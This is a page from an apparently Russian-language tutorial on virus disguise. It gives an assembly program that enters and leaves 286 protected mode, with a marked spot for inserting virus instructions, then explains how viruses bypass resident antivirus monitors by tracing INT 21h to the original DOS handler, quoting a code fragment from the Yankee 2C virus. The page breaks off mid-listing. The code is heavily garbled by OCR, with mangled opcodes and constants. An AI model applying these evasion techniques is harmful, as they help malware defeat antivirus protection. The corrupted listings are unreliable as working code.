Смекни!
smekni.com

Маскировка вирусов (стр. 2 из 5)

Данная программа делает следующее:

- создает таблицы GDT и LDT, используя текущие значения
CS.DS.SS

- запрещает все прерывания, открывает линию А20
для доступа к RAM>1 Мбайт

- переводит процессор в защищенный режим

- в первый символ строки qw заносит символ L

- выходит в реальный режим

- разрешает прерывания, закрывает А20

- выводит на экран строку qw ("Light General")

- выход в DOS

.286

.model tiny
.code
org 100h

Определения для защищенного режима работы программы
;Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0

desc_struc ENDS

ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob

DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob

CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b

STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob

;Размеры сегментов (реальные размеры на единицу больше)
CSEG SIZE=65535

DSEG_SIZE=65535
STACK_SIZE=65535

[Смещения используемых дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)

;Константы значений портов ?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:

.Инициализируем необходимые данные для перехода
;в защищенный режим

call init_protected_mode

[Переходим в защищенный режим
call set_protected_mode

;Теперь компьютер работает в защищенном режиме!
;Так как таблица прерываний реального режима не может быть

использована в защищенном, прерывания запрещены!
;Именно тут можно вставить инструкции, нужные вирусу
.Возвращаемся в реальный режим
call set_real_mode

[Печатаем сообщение "Light General"
mov ah,09h
lea dx.qw
int 21 h

;Выходим в DOS
mov ax,4COOh
int 21 h

[Макрокоманда для установки адреса для дескриптора
;в глобальной таблице дескрипторов GDT.
;На входе регистры DLAX должны содержать
.абсолютный адрес сегмента
setgdtentry MACRO

mov [desc_struc.base_l][bx],ax

mov [desc_struc.base_h][bx],dl
ENDM

•<

; Процедура инициализации необходимых данных
.для перехода в защищенный режим
init_protected_mode PROC

вычисляем абсолютный адрес для сегмента данных
;в соответствии со значением регистра DS

mov ax.ds

mov dl.ah

shr dl,4

shi ax,4

;Устанавливаем адрес сегмента данных
;в глобальной таблице дескрипторов

mov bx, offset gdt_ds

setgdtentry

;Вычисляем абсолютный адрес для сегмента GDT: прибавляем
;к уже вычисленному абсолютному адресу сегмента данных
;смещение в нем таблицы дескрипторов

add ax,offset gdtr

adc dl.0

Останавливаем адрес сегмента GDT
;в глобальной таблице дескрипторов

mov bx.offset gdt_gdt

setgdtentry

;Вычисляем абсолютный адрес для сегмента кода
;в соответствии со значением регистра CS

mov ax,cs

mov dl.ah

shr dl,4

shi ax,4

.Устанавливаем адрес сегмента кода
;в глобальной таблице дескрипторов

mov bx, offset gdt_cs

setgdtentry

[Вычисляем абсолютный адрес для сегмента стека
;в соответствии со значением регистра SS

mov ax.ss

mov dl.ah

shr dl,4

shi ax,4

Останавливаем адрес сегмента стека
;в глобальной таблице дескрипторов

mov bx,offset gdt_ss

setgdtentry

Перехватываем рестарт. Так как процессор i286 (а эта программа
[рассчитана именно на такой процессор) не имеет возможности
;возврата в реальный режим из защищенного, возврат в реальный
режим будем производить следующим образом: перехватим рестарт,
.сгенерируем CPU Reset, после которого получим управление, когда
Процессор будет находится уже в реальном режиме. На процессоре
;i386 возврат в реальный режим происходит
[значительно проще и "естественнее".

push ds

mov ax,40h

mov ds,ax

mov word ptr ds:[0067h], offset shutdown_return

mov word ptr ds:[0069h],cs

pop ds

[Запрещаем маскируемые прерывания
cli

in al,INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT,al

[Запрещаем немаскируемые прерывания. Данная последовательность
;команд не запрещает "незапрещаемые" прерывания в процессоре
[(этого сделать по определению нельзя), а "не пускает" сигнал

[немаскируемого прерывания к процессору

mov al,8Fh

out CMOS_PORT,al

jmp $+2

mov al,5

out CMOS_PORT+1,al

ret
init_protected_mode ENDP

[Подпрограмма, переводящая процессор в защищенный режим
set_protected_mode PROC

.Открываем адресную линию А20 для доступа свыше 1Мбайт.
;При закрытой линии адресное пространство
["зацикливается" в пределах 1Мбайт
call enable_a20

.Сохраняем значение регистра SS для реального режима
mov real_ss,ss

[Переводим компилятор Turbo Assembler в улучшенный режим.
[IDEAL - это не команда и не оператор, это директива, влияющая
[только на интерпретацию дальнейших строк листинга

ideal

р286

[Загружаем регистр глобальной таблицы дескрипторов GDTR
Igdt [QWORD gdt_gdt] ;db OFh,01h,16h dw offset gdt_gdt

[Переводим процессор в защищенный режим
mov ax,0001h
Imsw ax ;db OFh,01h,FOh

[Переводим компилятор Turbo Assembler назад в режим MASM
masm
.286

[Производим длинный переход для того,
.чтобы очистить внутреннюю очередь
.команд процессора

jmp far flush

db OEAh

dw offset flush

dw CS_DESCR
flush:

Останавливаем в регистр SS селектор сегмента стека
mov ax,SS_DESCR
mov ss.ax

;Устанавливаем в регистр DS селектор сегмента данных
mov ax,DS_DESCR
mov ds.ax

.Записываем в строку qw символ "L" и выходим из подпрограммы

mov byte ptr ds: [off set qw+2],"L"

ret
set_protected_mode ENDP

Подпрограмма, возвращающая процессор в реальный режим
set_real_mode PROC

[Сохраняем значение регистра SP для реального режима
mov real_sp,sp

.Выполняем CPU Reset (рестарт процессора)
mov al,SHUT_DOWN
out STATUS_PORT,al

;Ждем, пока процессор перезапустится
wait_reset:

hit

jmp wait_reset

;C этого места программа выполняется после перезапуска процессора
shutdown_return:

;Устанавливаем регистр DS в соответствии с регистром CS
push cs
pop ds

восстанавливаем указатели на стек
;по ранее сохраненным значениям

mov ss,real_ss

mov sp,real_sp

[Закрываем адресную линию А20
call disable_a20

.Разрешаем немаскируемые прерывания
mov ax.OOOdh
out CMOS_PORT,al

[Разрешаем маскируемые прерывания

in al,INT-MASK_PORT

and al,0

out INT_MASK_PORT,al

sti

ret
set_real_mode EN DP

[Процедура, открывающая адресную линию А20. После открытия

[адресной линии программам будет доступна память свыше 1Мбайт
enable_a20 PROC

mov al,A20_PORT

out STATUS_PORT,al

mov al,A20_ON

out KBD_PORT_A.al

ret
enable_a20 ENDP

[Процедура, закрывающая адресную линию А20. После закрытия
[адресной линии программам будет недоступна память свыше 1Мбайт.
[Адресное пространство будет "зацикленным" в пределах 1Мбайт
disable_a20 PROC

mov al.A20_PORT

out STATUS_PORT,al

mov al,A20_OFF

out KBD_PORT_A,al

ret
disable_a20 ENDP

[Здесь сохраняется адрес стека
real_sp dw ?
real_ss dw ?

[Эта строка выводится на экран после работы программы
[Символ "?" заменяется на "L" в защищенном режиме

qw db 13,10,"?ight General",13,10,"$"

;Глобальная таблица дескрипторов. Нулевой дескриптор

обязательно должен быть "пустым"

GDT_BEG=$

gdtr label WORD

gdt_0 desc_struc <0,0,0,0,0>

gdt_gdt desc_struc <GDT_SIZE-1„,DATA_ACC,0>

gdt_ds desc_struc <DSEG_SIZE-1,„DATA_ACC,0>

gdt_cs desc_struc <CSEG_SIZE-1„,CODE_ACC,0>

gdt_ss desc_struc <STACK_SIZE-1,„DATA_ACC,0>

GDT_SIZE=($-GDT_BEG)

END start

Обход резидентных антивирусных мониторов

Обычно все программы используют сервис DOS так:

mov ah,...
int 21 h

По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):


Разумеется, среди этих многочисленных обработчиков может "затесаться"
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.

Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:

mov ah,...
pushf

call dword ptr 021

021 dw ?

S21 dw ?

Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.

Определение адреса оригинального обработчика DOS

Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.

Метод трассировки

Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:

;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h

mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI

Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h

;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next - помещаем в стек
.последовательно флаги, сегмент и смещение метки Next

pushf

push cs

mov ax,offset Next

push ax

;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET - программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке

pushf

pop ax

or ax,0100h